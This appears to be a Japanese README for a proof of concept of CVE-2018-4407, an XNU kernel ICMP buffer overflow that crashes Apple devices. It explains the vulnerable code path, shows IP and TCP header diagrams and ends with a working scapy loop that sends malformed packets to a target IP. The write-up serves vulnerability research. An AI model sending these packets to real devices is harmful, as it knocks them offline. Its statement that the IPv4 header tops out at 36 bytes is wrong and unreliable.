
XNUカーネルのICMPエラーコードにおけるバッファオーバーフローの脆弱性により、IOSデバイス(ラップトップとモバイル)がクラッシュします。
CVE-2018-4407 は、XNU カーネルの ICMP エラーコードにおけるバッファオーバーフローの脆弱性です。この脆弱性により、IOS デバイス(ラップトップとモバイルの両方)は、1 つ(そうです、たった 1 つ!)の不正なパケットを受信するだけでクラッシュします。
このバグは、Kevin Backhouse 氏によって 2018 年 10 月 30 日に彼の lgtm ブログ記事 で最初に公開されました。
このリポジトリのコードは、scapy と nmap を使用して Python で実装された CVE-2018-4407 エクスプロイトの概念実証です。
以下は、私のデバッグプロセスの一部です。XNU カーネルコードを調べると、バッファオーバーフローを引き起こす可能性のある iphlen と tcphlen の数値がわかります。
Backhouse 氏が述べたように、icmplen > 84 が必要であり、それを達成するにはコードの分岐
if(oip->ip_p == IPPROTO_TCP) に入る必要があるようです。TCP パケットがこの脆弱性を引き起こします。

IPv4 ヘッダーは、最小 20 バイトから最大 36 バイトまで(オプションに応じて)の長さになります。
IHL: IP ヘッダーの長さ(オプションを含む)です。また、ペイロードが始まる位置も示します。Total Length: IP パケット全体の長さ(IP ヘッダーと TCP ペイロードを含む)になります。 0 1 2 3
0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
0 |Version| IHL |Type of Service| Total Length |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
4 | Identification |Flags| Fragment Offset |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
8 | Time to Live | Protocol | Header Checksum |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
12 | Source Address |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
16 | Destination Address |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
20 | Options (up to 16B) | Padding |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
TCP ヘッダーは、最小 20 バイトから最大 60 バイトまで(オプションは最大 40 バイト)の長さになります。
Data offset: データが始まる位置を示し、ヘッダーの長さと見なすこともできます。 0 1 2 3
0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
0 | Source Port | Destination Port |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
4 | Sequence Number |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
8 | Acknowledgment Number |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Data | |U|A|P|R|S|F| |
12 | Offset| Reserved |R|C|S|S|Y|I| Window |
| | |G|K|H|T|N|N| |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
16 | Checksum | Urgent Pointer |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
20 | Options (up to 40B) | Padding |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
XNU コードをそこまで深く調べる必要はありません。さまざまなヘッダー長を手動で試すシンプルな scapy スクリプトを使用することもできます。
MIN_IPHLEN = 20
MIN_TCPHLEN = 20
DST_IP = #<IP_ADDRESS>
for ip_opt_len in range(0, 60):
for tcp_opt_len in range (0, 60):
iphlen = ip_opt_len + MIN_IPHLEN
tcphlen = tcp_opt_len + MIN_TCPHLEN
total_ip_len = tcphlen + iphlen
send(IP(
ihl=iphlen/4,
len=total_ip_len,
dst=DST_IP,
options=IPOption("a" * ip_opt_len)
)/TCP(
dataofs=15,
options = [("NOP", None)] * tcp_opt_len
))